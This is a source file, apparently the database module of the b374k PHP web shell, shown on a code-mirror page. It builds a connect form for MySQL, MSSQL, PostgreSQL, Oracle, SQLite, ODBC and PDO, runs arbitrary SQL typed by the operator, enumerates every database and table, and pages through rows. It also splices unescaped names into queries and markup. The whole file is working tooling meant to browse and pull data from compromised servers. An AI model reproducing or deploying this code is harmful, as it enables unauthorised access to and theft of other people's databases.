PageRenderTime 51ms CodeModel.GetById 19ms RepoModel.GetById 0ms app.codeStats 0ms

/module/database.php

https://gitlab.com/billyprice1/b374k
PHP | 343 lines | 322 code | 21 blank | 0 comment | 135 complexity | bb4e7c925a14552da321db28af2de597 MD5 | raw file
  1. <?php
  2. $GLOBALS['module']['database']['id'] = "database";
  3. $GLOBALS['module']['database']['title'] = "Database";
  4. $GLOBALS['module']['database']['js_ontabselected'] = "";
  5. $GLOBALS['module']['database']['content'] = "
  6. <table class='boxtbl'>
  7. <thead>
  8. <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
  9. </thead>
  10. <tbody>
  11. <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  12. <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  13. <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  14. <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
  15. </tbody>
  16. <tfoot>
  17. <tr class='dbConnectRow'>
  18. <td style='width:144px;'>
  19. <select id='dbType'>
  20. </select>
  21. </td>
  22. <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td>
  23. <td class='dbError'></td>
  24. </tr>
  25. <tr class='dbQueryRow' style='display:none;'>
  26. <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td>
  27. </tr>
  28. <tr class='dbQueryRow' style='display:none;'>
  29. <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td>
  30. <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td>
  31. <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td>
  32. </tr>
  33. </tfoot>
  34. </table>
  35. <div id='dbBottom' style='display:none;'>
  36. <br>
  37. <table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
  38. </div>
  39. ";
  40. if(!function_exists('sql_connect')){
  41. function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
  42. if($sqltype == 'mysql'){
  43. if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
  44. elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
  45. }
  46. elseif($sqltype == 'mssql'){
  47. if(function_exists('sqlsrv_connect')){
  48. $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
  49. return @sqlsrv_connect($sqlhost,$coninfo);
  50. }
  51. elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
  52. }
  53. elseif($sqltype == 'pgsql'){
  54. $hosts = explode(":", $sqlhost);
  55. if(count($hosts)==2){
  56. $host_str = "host=".$hosts[0]." port=".$hosts[1];
  57. }
  58. else $host_str = "host=".$sqlhost;
  59. if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
  60. }
  61. elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
  62. elseif($sqltype == 'sqlite3'){
  63. if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
  64. else return false;
  65. }
  66. elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
  67. elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
  68. elseif($sqltype == 'pdo'){
  69. if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
  70. else return false;
  71. }
  72. return false;
  73. }
  74. }
  75. if(!function_exists('sql_query')){
  76. function sql_query($sqltype, $query, $con){
  77. if($sqltype == 'mysql'){
  78. if(class_exists('mysqli')) return $con->query($query);
  79. elseif(function_exists('mysql_query')) return mysql_query($query);
  80. }
  81. elseif($sqltype == 'mssql'){
  82. if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
  83. elseif(function_exists('mssql_query')) return mssql_query($query);
  84. }
  85. elseif($sqltype == 'pgsql') return pg_query($query);
  86. elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
  87. elseif($sqltype == 'sqlite3') return $con->query($query);
  88. elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
  89. elseif($sqltype == 'odbc') return odbc_exec($con, $query);
  90. elseif($sqltype == 'pdo') return $con->query($query);
  91. }
  92. }
  93. if(!function_exists('sql_num_rows')){
  94. function sql_num_rows($sqltype,$result){
  95. if($sqltype == 'mysql'){
  96. if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
  97. elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
  98. }
  99. elseif($sqltype == 'mssql'){
  100. if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
  101. elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
  102. }
  103. elseif($sqltype == 'pgsql') return pg_num_rows($result);
  104. elseif($sqltype == 'oracle') return oci_num_rows($result);
  105. elseif($sqltype == 'sqlite3'){
  106. $metadata = $result->fetchArray();
  107. if(is_array($metadata)) return $metadata['count'];
  108. }
  109. elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
  110. elseif($sqltype == 'odbc') return odbc_num_rows($result);
  111. elseif($sqltype == 'pdo') return $result->rowCount();
  112. }
  113. }
  114. if(!function_exists('sql_num_fields')){
  115. function sql_num_fields($sqltype, $result){
  116. if($sqltype == 'mysql'){
  117. if(class_exists('mysqli_result')) return $result->field_count;
  118. elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
  119. }
  120. elseif($sqltype == 'mssql'){
  121. if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
  122. elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
  123. }
  124. elseif($sqltype == 'pgsql') return pg_num_fields($result);
  125. elseif($sqltype == 'oracle') return oci_num_fields($result);
  126. elseif($sqltype == 'sqlite3') return $result->numColumns();
  127. elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
  128. elseif($sqltype == 'odbc') return odbc_num_fields($result);
  129. elseif($sqltype == 'pdo') return $result->columnCount();
  130. }
  131. }
  132. if(!function_exists('sql_field_name')){
  133. function sql_field_name($sqltype,$result,$i){
  134. if($sqltype == 'mysql'){
  135. if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
  136. elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
  137. }
  138. elseif($sqltype == 'mssql'){
  139. if(function_exists('sqlsrv_field_metadata')){
  140. $metadata = sqlsrv_field_metadata($result);
  141. if(is_array($metadata)){
  142. $metadata=$metadata[$i];
  143. }
  144. if(is_array($metadata)) return $metadata['Name'];
  145. }
  146. elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
  147. }
  148. elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
  149. elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
  150. elseif($sqltype == 'sqlite3') return $result->columnName($i);
  151. elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
  152. elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
  153. elseif($sqltype == 'pdo'){
  154. $res = $result->getColumnMeta($i);
  155. return $res['name'];
  156. }
  157. }
  158. }
  159. if(!function_exists('sql_fetch_data')){
  160. function sql_fetch_data($sqltype,$result){
  161. if($sqltype == 'mysql'){
  162. if(class_exists('mysqli_result')) return $result->fetch_row();
  163. elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
  164. }
  165. elseif($sqltype == 'mssql'){
  166. if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
  167. elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
  168. }
  169. elseif($sqltype == 'pgsql') return pg_fetch_row($result);
  170. elseif($sqltype == 'oracle') return oci_fetch_row($result);
  171. elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
  172. elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
  173. elseif($sqltype == 'odbc') return odbc_fetch_array($result);
  174. elseif($sqltype == 'pdo') return $result->fetch(2);
  175. }
  176. }
  177. if(!function_exists('sql_close')){
  178. function sql_close($sqltype,$con){
  179. if($sqltype == 'mysql'){
  180. if(class_exists('mysqli')) return $con->close();
  181. elseif(function_exists('mysql_close')) return mysql_close($con);
  182. }
  183. elseif($sqltype == 'mssql'){
  184. if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
  185. elseif(function_exists('mssql_close')) return mssql_close($con);
  186. }
  187. elseif($sqltype == 'pgsql') return pg_close($con);
  188. elseif($sqltype == 'oracle') return oci_close($con);
  189. elseif($sqltype == 'sqlite3') return $con->close();
  190. elseif($sqltype == 'sqlite') return sqlite_close($con);
  191. elseif($sqltype == 'odbc') return odbc_close($con);
  192. elseif($sqltype == 'pdo') return $con = null;
  193. }
  194. }
  195. if(!function_exists('sql_get_supported')){
  196. function sql_get_supported(){
  197. $db_supported = array();
  198. if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
  199. if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
  200. if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
  201. if(function_exists("oci_connect")) $db_supported[] = 'oracle';
  202. if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
  203. if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
  204. if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
  205. if(class_exists("PDO")) $db_supported[] = 'pdo';
  206. return implode(",", $db_supported);
  207. }
  208. }
  209. if(isset($p['dbGetSupported'])){
  210. $res = sql_get_supported();
  211. if(empty($res)) $res = "error";
  212. output($res);
  213. }
  214. elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
  215. $type = $p['dbType'];
  216. $host = $p['dbHost'];
  217. $user = $p['dbUser'];
  218. $pass = $p['dbPass'];
  219. $port = $p['dbPort'];
  220. $con = sql_connect($type ,$host , $user , $pass);
  221. $res = "";
  222. if($con!==false){
  223. if(isset($p['dbQuery'])){
  224. $query = $p['dbQuery'];
  225. $pagination = "";
  226. if((isset($p['dbDB']))&&(isset($p['dbTable']))){
  227. $db = trim($p['dbDB']);
  228. $table = trim($p['dbTable']);
  229. $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
  230. $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
  231. if($type=='mysql'){
  232. $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
  233. }
  234. elseif($type=='mssql'){
  235. $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
  236. }
  237. elseif($type=='pgsql'){
  238. $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
  239. }
  240. elseif($type=='oracle'){
  241. $limit = $start + $limit;
  242. $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
  243. }
  244. elseif($type=='sqlite' || $type=='sqlite3'){
  245. $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
  246. }
  247. else $query = "";
  248. $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'>
  249. <span class='button' onclick=\"db_pagination('prev');\">prev</span>
  250. <span class='button' onclick=\"db_pagination('next');\">next</span>
  251. <input type='hidden' id='dbDB' value='".html_safe($db)."'>
  252. <input type='hidden' id='dbTable' value='".html_safe($table)."'>
  253. <input type='hidden' id='dbStart' value='".html_safe($start)."'>
  254. ";
  255. }
  256. $querys = explode(";", $query);
  257. foreach($querys as $query){
  258. if(trim($query) != ""){
  259. $query_query = sql_query($type, $query, $con);
  260. if($query_query!=false){
  261. $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> ok <span class='strong'>]</span></p>";
  262. if(!empty($pagination)){
  263. $res .= "<p>".$pagination."</p>";
  264. }
  265. if(!is_bool($query_query)){
  266. $res .= "<table class='border dataView sortable tblResult'><tr>";
  267. for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
  268. $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>";
  269. $res .= "</tr>";
  270. while($rows = sql_fetch_data($type, $query_query)){
  271. $res .= "<tr>";
  272. foreach($rows as $r){
  273. if(empty($r)) $r = " ";
  274. $res .= "<td>".html_safe($r)."</td>";
  275. }
  276. $res .= "</tr>";
  277. }
  278. $res .= "</table>";
  279. }
  280. }
  281. else{
  282. $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> error <span class='strong'>]</span></p>";
  283. }
  284. }
  285. }
  286. }
  287. else{
  288. if(($type!='pdo') && ($type!='odbc')){
  289. if($type=='mysql') $showdb = "SHOW DATABASES";
  290. elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
  291. elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
  292. elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  293. elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
  294. else $showdb = "SHOW DATABASES";
  295. $query_db = sql_query($type, $showdb, $con);
  296. if($query_db!=false) {
  297. while($db_arr = sql_fetch_data($type, $query_db)){
  298. foreach($db_arr as $db){
  299. if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
  300. elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
  301. elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
  302. elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
  303. elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  304. else $showtbl = "";
  305. $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>";
  306. $query_table = sql_query($type, $showtbl, $con);
  307. if($query_table!=false){
  308. while($tables_arr = sql_fetch_data($type, $query_table)){
  309. foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>";
  310. }
  311. }
  312. $res .= "</table>";
  313. }
  314. }
  315. }
  316. }
  317. }
  318. }
  319. if(!empty($res)) output($res);
  320. output('error');
  321. }
  322. ?>